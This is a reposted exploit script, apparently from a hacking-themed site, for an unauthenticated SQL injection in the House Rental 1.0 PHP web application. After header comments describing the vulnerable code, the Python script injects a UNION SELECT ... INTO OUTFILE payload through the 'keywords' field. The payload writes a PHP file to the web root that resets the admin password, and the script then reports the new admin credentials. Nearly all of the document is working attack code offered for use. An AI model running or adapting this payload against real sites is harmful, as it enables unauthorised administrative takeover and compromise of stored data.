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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: House Rental 1.0 - 'keywords' SQL Injection
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) 
# Date: 2020-08-07
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/home-rental.zip
# Version: 1.0
# Tested On: Windows 10 Pro (x64_86) + XAMPP | Python 2.7
# CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
# OWASP Top Ten 2017: A1:2017-Injection
# CVSS Base Score: 10.0 | Impact Subscore: 6.0 | Exploitability Subscore: 3.9
# CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
# Vulnerability Description:
#   House Rental v1.0 suffers from an unauthenticated SQL Injection vulnerability allowing remote attackers
#   to execute arbitrary code on the hosting webserver via sending a malicious POST request.
# Vulnerable Source Code:
# /config/config.php
#   11  try {
#   12     $connect = new PDO("mysql:host=".dbhost."; dbname=".dbname, dbuser, dbpass);
#   13     $connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
# /index.php
#    5   if(isset($_POST['search'])) {
#    7     $keywords = $_POST['keywords'];
#   11     $keyword = explode(',', $keywords);
#   12     $concats = "(";
#   13     $numItems = count($keyword);
#   15     foreach ($keyword as $key => $value) {
#   17       if(++$i === $numItems){
#   18          $concats .= "'".$value."'";
#   19       }else{
#   20         $concats .= "'".$value."',";
#   23     $concats .= ")";
#   47         $stmt = $connect->prepare("SELECT * FROM room_rental_registrations_apartment WHERE country IN $concats OR country IN $loc OR state IN $concats OR state IN $loc OR city IN $concats OR city IN $loc OR address IN $concats OR address IN $loc OR rooms IN $concats OR landmark IN $concats OR landmark IN $loc OR rent IN $concats OR deposit IN $concats");
#   48         $stmt->execute();

import requests, sys, re, json
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok   = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err  = S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]


def sig():
    SIG  = F[2]+"    .-----.._       ,--.              "+F[5]+"  .__              .__________\n"
    SIG += F[2]+"    |  ..    >  "+F[4]+"___"+F[2]+" |  | .--.         "+F[5]+"  |  |__ ___.__. __| _\\_____  \\  ______ ____  ____\n"
    SIG += F[2]+"    |  |.'  ,'"+F[4]+"-'"+F[2]+"* *"+F[4]+"'-."+F[2]+" |/  /__   __   "+F[5]+"  |  |  <   |  |/ __ |  _(__  < /  ____/ __ _/ ___\\\n"
    SIG += F[2]+"    |      <"+F[4]+"/ "+F[2]+"*  *  *"+F[4]+" \\   "+F[2]+"/   \\/   \\  "+F[5]+"  |   Y  \\___  / /_/ | /       \\\\___ \\\\  ___\\  \\___\n"
    SIG += F[2]+"    |  |>   )   "+F[2]+"* *"+F[4]+"   /    "+F[2]+"\\        \\ "+F[5]+"  |___|  / ____\____ |/______  /____  >\\___  \\___  >\n"
    SIG += F[2]+"    |____..- "+F[4]+"'-.._..-'"+F[2]+"_|\\___|._..\\___\\"+F[5]+"       \\/\\/         \\/       \\/     \\/     \\/    \\/\n"
    SIG += F[2]+"        "+F[2]+"_______github.com/boku7_____  "+F[5]+"         _______github.com/hyd3sec____\n_"+F[0]+S[0]
    return SIG



def header():
    head = S[3]+F[2]+'       ---  House Rental v1.0 | SQL Injection - Change Admin Password ---\n'+S[0]
    return head

def formatHelp(STRING):
    return S[3]+F[2]+STRING+S[0]

if __name__ == "__main__":
    print(header())
    print(sig())
    if len(sys.argv) != 2:
        print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
        print(err+formatHelp("Example:\t python %s 'http://172.16.65.130/home-rental/'" % sys.argv[0]))
        sys.exit(-1)
    SERVER_URL  = sys.argv[1]
    if not re.match(r".*/$", SERVER_URL):
        SERVER_URL = SERVER_URL+'/'
    INDEX_URL   = SERVER_URL + 'index.php'
    EXECUTE_URL = SERVER_URL + 'execute.php'
    LOGIN_URL   = SERVER_URL + 'auth/login.php'
    s = requests.Session()
    get_session = s.get(INDEX_URL, verify=False) 
    pdata       = {'keywords':'1337\') UNION SELECT all \'1,UPDATED,ADMIN,PASSWORD,TO,boku,aaaaaa,city,landmark,rent,deposit,plotnum,apartName,aptNum,rooms,floor,purpose,own,area,address,accomd,<?php require "config/config.php";$stmt=$connect->prepare("UPDATE users set password=\\\'17d8e2e8233d9a6ae428061cb2cdf226\\\' WHERE username=\\\'admin\\\'");$stmt->execute();?>,image,open,other,1,2020-08-01 14:42:11,2020-08-01 14:42:11,1\' into OUTFILE \'../../htdocs/home-rental/execute.php\' -- boku', 'location':'','search':'search'}
    SQLi        = s.post(url=INDEX_URL, data=pdata, verify=False)
    if SQLi.status_code == 200:
        print(ok+"Sent "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" POST Request to "+F[5]+S[3]+INDEX_URL+F[0]+S[0]+" with "+F[2]+S[2]+"payload"+F[0]+S[0]+":")
        print(S[3]+F[2]+json.dumps(pdata, sort_keys=True, indent=4)+F[0]+S[0])
    else:
        print(err+'Cannot send payload to webserver.')
        sys.exit(-1)
    try:
        print(ok+"Executing "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" payload to change "+F[2]+S[2]+"admin password"+F[0]+S[0])
        EXECUTE     = s.get(url=EXECUTE_URL, verify=False)
    except:
        print(err+'Failed to connect to '++F[2]+S[3]+EXECUTE_URL+F[0]+S[0]+'to execute payload')
        sys.exit(-1)
    print(ok+F[2]+S[3]+"SQL Injection payload executed!"+F[0]+S[0])
    print(ok+F[2]+S[3]+"Login at "+F[5]+S[3]+LOGIN_URL+F[0]+S[0]+" with creds: "+F[2]+S[2]+"admin:boku"+F[0]+S[0])